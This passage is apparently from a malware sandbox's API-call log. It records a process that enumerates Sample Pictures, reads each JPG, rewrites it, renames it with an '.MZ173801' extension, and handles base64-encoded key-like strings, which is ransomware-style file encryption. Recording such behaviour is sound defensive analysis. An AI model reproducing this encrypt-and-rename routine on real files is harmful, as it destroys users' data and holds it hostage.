dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.504] GetCurrentThreadId () returned 0x9fc [0143.504] GetCurrentThreadId () returned 0x9fc [0143.504] GetCurrentThreadId () returned 0x9fc [0143.504] GetCurrentThreadId () returned 0x9fc [0143.504] GetCurrentThreadId () returned 0x9fc [0143.504] GetCurrentThreadId () returned 0x9fc [0143.504] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.504] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0143.504] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0143.504] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Hydrangeas.jpg", cAlternateFileName="HYDRAN~1.JPG")) returned 1 [0143.505] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0143.505] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0143.505] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91554)) returned 1 [0143.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0143.508] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0143.509] GetCurrentThreadId () returned 0x9fc [0143.509] GetCurrentThreadId () returned 0x9fc [0143.509] GetCurrentThreadId () returned 0x9fc [0143.509] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0143.509] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0143.510] GetCurrentThreadId () returned 0x9fc [0143.510] GetCurrentThreadId () returned 0x9fc [0143.510] GetCurrentThreadId () returned 0x9fc [0143.510] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0143.510] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0143.510] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0143.510] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x91554 [0143.510] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0143.510] VirtualAlloc (lpAddress=0x0, dwSize=0xa0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef00000 [0143.511] ReadFile (in: hFile=0x224, lpBuffer=0x7ef00010, nNumberOfBytesToRead=0x91554, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7ef00010*, lpNumberOfBytesRead=0x18f6c4*=0x91554, lpOverlapped=0x0) returned 1 [0143.524] CloseHandle (hObject=0x224) returned 1 [0143.525] VirtualAlloc (lpAddress=0x0, dwSize=0xa0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee60000 [0143.528] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7edf0000 [0143.536] VirtualQuery (in: lpAddress=0x7ee60000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7ee60000, AllocationBase=0x7ee60000, AllocationProtect=0x4, RegionSize=0xa0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.536] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ed60000 [0143.546] VirtualQuery (in: lpAddress=0x7edf0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7edf0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0143.546] VirtualAlloc (lpAddress=0x7edf0000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7edf0000 [0143.547] VirtualAlloc (lpAddress=0x7edf0000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7edf0000 [0143.560] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0143.568] WriteFile (in: hFile=0x224, lpBuffer=0x7ee60010*, nNumberOfBytesToWrite=0x91554, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7ee60010*, lpNumberOfBytesWritten=0x18f6d0*=0x91554, lpOverlapped=0x0) returned 1 [0143.581] CloseHandle (hObject=0x224) returned 1 [0143.582] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.MZ173801" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg.mz173801")) returned 1 [0143.583] VirtualFree (lpAddress=0x7ef00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.587] VirtualFree (lpAddress=0x7ee60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.591] VirtualQuery (in: lpAddress=0x7ed60000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7ed60000, AllocationBase=0x7ed60000, AllocationProtect=0x4, RegionSize=0x90000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.591] VirtualFree (lpAddress=0x7ed60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.597] VirtualQuery (in: lpAddress=0x7edf0000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7edf0000, AllocationBase=0x7edf0000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0143.597] VirtualFree (lpAddress=0x7edf0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.598] GetCurrentThreadId () returned 0x9fc [0143.598] GetCurrentThreadId () returned 0x9fc [0143.598] GetCurrentThreadId () returned 0x9fc [0143.598] GetCurrentThreadId () returned 0x9fc [0143.598] GetCurrentThreadId () returned 0x9fc [0143.598] GetCurrentThreadId () returned 0x9fc [0143.598] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Jellyfish.jpg", cAlternateFileName="JELLYF~1.JPG")) returned 1 [0143.598] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0143.598] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0143.598] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbd616)) returned 1 [0143.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0143.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMT